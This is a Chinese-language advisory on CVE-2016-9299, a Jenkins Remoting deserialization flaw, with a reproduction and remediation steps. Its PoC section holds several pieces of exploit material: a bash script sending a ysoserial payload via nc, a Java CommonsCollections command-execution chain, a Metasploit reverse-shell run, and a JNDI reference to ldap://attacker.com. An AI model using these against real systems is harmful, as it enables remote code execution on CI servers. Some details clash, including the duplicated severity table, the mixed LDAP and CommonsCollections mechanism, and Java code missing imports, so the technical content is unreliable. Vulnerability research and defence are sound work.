一、漏洞简介

1.1 漏洞背景

Jenkins 是全球最流行的开源自动化服务器之一,广泛应用于 CI/CD 流程。2016年11月,安全研究人员发现 Jenkins 的 Remoting 模块存在严重的反序列化漏洞,攻击者可以通过发送精心构造的序列化 Java 对象触发 LDAP 查询,进而执行任意代码。

该漏洞属于 Java 反序列化漏洞家族的一员,与当时影响广泛的 Java 反序列化安全问题(如 Apache Commons Collections 反序列化漏洞)密切相关。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2016-9299
危害等级 CRITICAL / 9.8
漏洞类型 Jenkins Remoting LDAP 反序列化漏洞
披露时间 2017-01-12
影响组件 Jenkins 重大
属性 内容
CVE 编号 CVE-2016-9299
危害等级 高危 (High)
CVSS 评分 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
漏洞类型 CWE-90: LDAP 注入 / CWE-502: 反序列化不可信数据
利用条件 无需认证,网络可达
影响组件 Jenkins Remoting 模块
<hr />

补充核验信息:公开时间:2017-01-12;NVD 评分:9.8(CRITICAL);CWE:CWE-90。

二、影响范围

2.1 受影响的版本

  • Jenkins Weekly: 2.32 之前所有版本
  • Jenkins LTS: 2.19.3 之前所有版本

2.2 不受影响的版本

  • Jenkins Weekly: 2.32 及以上版本
  • Jenkins LTS: 2.19.3 及以上版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Jenkins 服务器监听的 TCP 端口(默认为 49187 或配置的固定端口)可被攻击者访问
  2. 攻击者能够发送序列化的 Java 对象到 Jenkins Remoting 端口
  3. 目标环境存在可利用的反序列化链(如 Commons Collections)
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞的核心在于 Jenkins Remoting 模块在处理序列化对象时未进行充分的类型验证:

攻击流程:
┌─────────────────────────────────────────────────────────────┐
│  攻击者                                                      │
│    │                                                         │
│    ├─> 构造恶意序列化 Java 对象                               │
│    │   (包含恶意的 LDAP JNDI 引用)                            │
│    │                                                         │
│    ▼                                                         │
│  Jenkins Remoting 端口 (TCP)                                 │
│    │                                                         │
│    ├─> Jenkins 接收并反序列化对象                             │
│    │                                                         │
│    ├─> 触发 JNDI/LDAP 查询                                   │
│    │                                                         │
│    ▼                                                         │
│  攻击者控制的 LDAP 服务器                                     │
│    │                                                         │
│    ├─> 返回恶意的 Java 类引用                                 │
│    │                                                         │
│    ▼                                                         │
│  Jenkins 加载并执行恶意代码                                   │
└─────────────────────────────────────────────────────────────┘

3.2 源码层面的根因分析(结合源码与补丁对比)

问题代码位置: remoting/src/main/java/hudson/remoting/Channel.java

// 简化的漏洞代码示意
public class Channel {

    // 反序列化入口点
    protected Object readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // 漏洞点:未对反序列化的对象类型进行严格限制
        // 允许任意类型的 Java 对象被反序列化
        Object obj = ois.readObject();

        // 缺少类型白名单检查
        // 黑名单机制不完善,SignedObject 等类未被阻止

        return obj;
    }
}

根本原因:

  1. 缺乏类型验证: Jenkins Remoting 使用 ObjectInputStream.readObject() 直接反序列化接收到的数据,未实现严格的类型白名单机制。

  2. JNDI 注入: 当反序列化包含 JNDI 引用的对象时,Java 会自动解析这些引用并发起 LDAP/RMI 查询。

  3. 类路径中的可利用链: Jenkins 类路径中包含 Apache Commons Collections 等库,这些库存在已知的反序列化利用链。

攻击链示例:

// 攻击者构造的恶意对象
import javax.naming.InitialContext;
import java.util.Hashtable;

public class ExploitPayload {
    public static void main(String[] args) throws Exception {
        // 构造指向恶意 LDAP 服务器的 JNDI 引用
        String ldapUrl = "ldap://attacker.com:1389/ExploitClass";

        // 利用 Commons Collections 链触发 JNDI 查询
        Object payload = createJNDIInjectionPayload(ldapUrl);

        // 序列化并发送到目标 Jenkins
        sendToJenkins(payload);
    }
}
<hr />

四、漏洞复现(可选)

4.1 环境搭建

使用 Docker 搭建受影响的 Jenkins 环境:

# 拉取受影响的 Jenkins 版本
docker pull jenkins/jenkins:2.19.2

# 启动 Jenkins 容器
docker run -d \
    --name vulnerable-jenkins \
    -p 8080:8080 \
    -p 50000:50000 \
    jenkins/jenkins:2.19.2

# 等待 Jenkins 启动
sleep 60

# 获取初始管理员密码
docker exec vulnerable-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

# 访问 http://localhost:8080 完成初始配置
# 注意:不要安装安全更新

环境要求:

# docker-compose.yml
version: '3'
services:
  jenkins:
    image: jenkins/jenkins:2.19.2
    ports:
      - "8080:8080"
      - "50000:50000"
      - "49187:49187"  # Remoting 端口
    environment:
      - JAVA_OPTS=-Djenkins.install.runSetupWizard=false
    volumes:
      - jenkins_home:/var/jenkins_home

volumes:
  jenkins_home:

4.2 PoC 演示与测试过程

PoC 代码 - 使用 ysoserial 生成 Payload:

#!/bin/bash
# CVE-2016-9299-PoC.sh
# 需要安装 ysoserial 和 netcat

TARGET_IP="192.168.1.100"
TARGET_PORT="49187"  # Jenkins Remoting 端口

# 使用 ysoserial 生成 Commons Collections payload
# 注意:这只是一个概念验证,实际利用需要更复杂的 payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.bin

# 发送 payload 到 Jenkins Remoting 端口
# 实际攻击需要按照 Jenkins Remoting 协议格式化数据
cat payload.bin | nc $TARGET_IP $TARGET_PORT

echo "Payload sent to $TARGET_IP:$TARGET_PORT"

Java PoC 代码:

// CVE-2016-9299-PoC.java
import java.io.*;
import java.net.*;
import java.util.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;

public class CVE_2016_9299_PoC {

    public static void main(String[] args) throws Exception {
        String targetHost = "192.168.1.100";
        int targetPort = 49187;

        // 构造恶意的序列化对象
        Object payload = generatePayload();

        // 连接到 Jenkins Remoting 端口
        Socket socket = new Socket(targetHost, targetPort);
        OutputStream out = socket.getOutputStream();

        // 发送序列化数据
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(payload);
        oos.flush();

        System.out.println("[+] Payload sent successfully");

        socket.close();
    }

    // 使用 Commons Collections 链构造 payload
    private static Object generatePayload() throws Exception {
        String command = "touch /tmp/jenkins_pwned";

        // 创建 ChainedTransformer 链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[] {String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[] {Object.class, Object[].class},
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[] {String.class},
                new Object[] {command})
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 创建 LazyMap
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

        // 创建 TiedMapEntry
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        // 创建 HashSet 触发反序列化链
        Set set = new HashSet(1);
        set.add("foo");

        // 使用反射修改 HashSet 内部结构
        Field f = HashSet.class.getDeclaredField("map");
        f.setAccessible(true);
        HashMap innerSet = (HashMap) f.get(set);

        Field f2 = HashMap.class.getDeclaredField("table");
        f2.setAccessible(true);
        Object[] table = (Object[]) f2.get(innerSet);

        Object node = table[0];
        Field keyField = node.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        keyField.set(node, entry);

        return set;
    }
}

Metasploit 模块:

# Metasploit 辅助模块使用
use exploit/multi/http/jenkins_serialized_object_rce
set RHOSTS 192.168.1.100
set RPORT 49187
set PAYLOAD cmd/unix/reverse_bash
set LHOST 192.168.1.200
exploit

验证命令执行:

# 在 Jenkins 容器中检查命令是否执行成功
docker exec vulnerable-jenkins ls -la /tmp/pwned

# 如果文件存在,说明漏洞利用成功
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

当前版本 建议升级版本
Jenkins Weekly < 2.32 升级到 2.32 或更新版本
Jenkins LTS < 2.19.3 升级到 2.19.3 或更新版本

升级步骤:

# 方法1: 通过 Jenkins Web UI 升级
# 1. 访问 http://your-jenkins:8080/manage
# 2. 点击 "Check for updates"
# 3. 下载并安装更新

# 方法2: 使用命令行升级 (WAR 包部署)
wget https://updates.jenkins.io/download/war/2.32/jenkins.war
# 停止 Jenkins,替换 WAR 包,重启

# 方法3: Docker 环境升级
docker pull jenkins/jenkins:2.32
docker stop vulnerable-jenkins
docker rm vulnerable-jenkins
docker run -d --name jenkins -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.32

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

1. 禁用 Remoting 端口:

# 在 Jenkins 配置中禁用 TCP 端口
# 编辑 $JENKINS_HOME/jenkins.model.JenkinsLocationConfiguration.xml

# 或者通过 Java 系统属性
java -Djenkins.tcpSlaveAgentPort=-1 -jar jenkins.war

2. 配置防火墙规则:

# 限制 Remoting 端口访问 (仅允许受信任的 IP)
iptables -A INPUT -p tcp --dport 49187 -s <trusted_agent_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 49187 -j DROP

3. 启用认证:

Manage Jenkins > Configure Global Security 中: - 启用安全领域 (LDAP/Jenkins 用户数据库) - 启用授权策略 - 要求 Agent 连接需要认证

4. 网络隔离:

# 将 Jenkins 部署在内网,仅通过反向代理对外暴露
# 只开放 HTTP/HTTPS 端口 (80/443)
# 不暴露 Remoting 端口到公网
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料